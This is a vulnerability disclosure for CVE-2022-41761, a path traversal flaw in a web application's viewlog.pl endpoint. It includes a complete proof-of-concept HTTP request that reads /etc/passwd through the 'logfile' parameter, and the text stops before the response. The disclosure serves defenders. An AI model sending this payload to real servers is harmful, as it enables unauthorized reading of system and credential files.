Vulnerability Description: Absolute Path Traversal – CWE-36
Software Version: R19.9
NIST: https://nvd.nist.gov/vuln/detail/CVE-2022-41761
CVSv3: 6.5
Severity: Medium
Credits: Luca Di Giuseppe, Alessandro Bosco, Stefano Scipioni, Massimiliano Brolli
The web server fails to sanitize the input data allowing remote authenticated attacker to read files on the filesystem arbitrarily.
Step-by-step instructions and PoC
After authenticating the web application, the endpoint "/cgi-bin/R19.9/viewlog.pl " was identified using a direct object reference in the HTTP request, i.e., using the explicit name of the resource to access. By inserting an arbitrary filename in the “logfile” parameter, it is possible to read arbitrary files present on the filesystem.
Affected Endpoints:
· URL: https://[...]/cgi-bin/R19.9/viewlog.pl
Parameter:
· HTTP GET: logfile
Below are the evidences with the vulnerability details and the payloads used.
GET /cgi-bin/R19.9/viewlog.pl?action=getfile&logfile=/etc/passwd HTTP/1.1
Host: [...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic [...]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Detail of the HTTP request/response showing the exploitation of the vulnerability and the illicit reading of the "/etc/passwd" file:
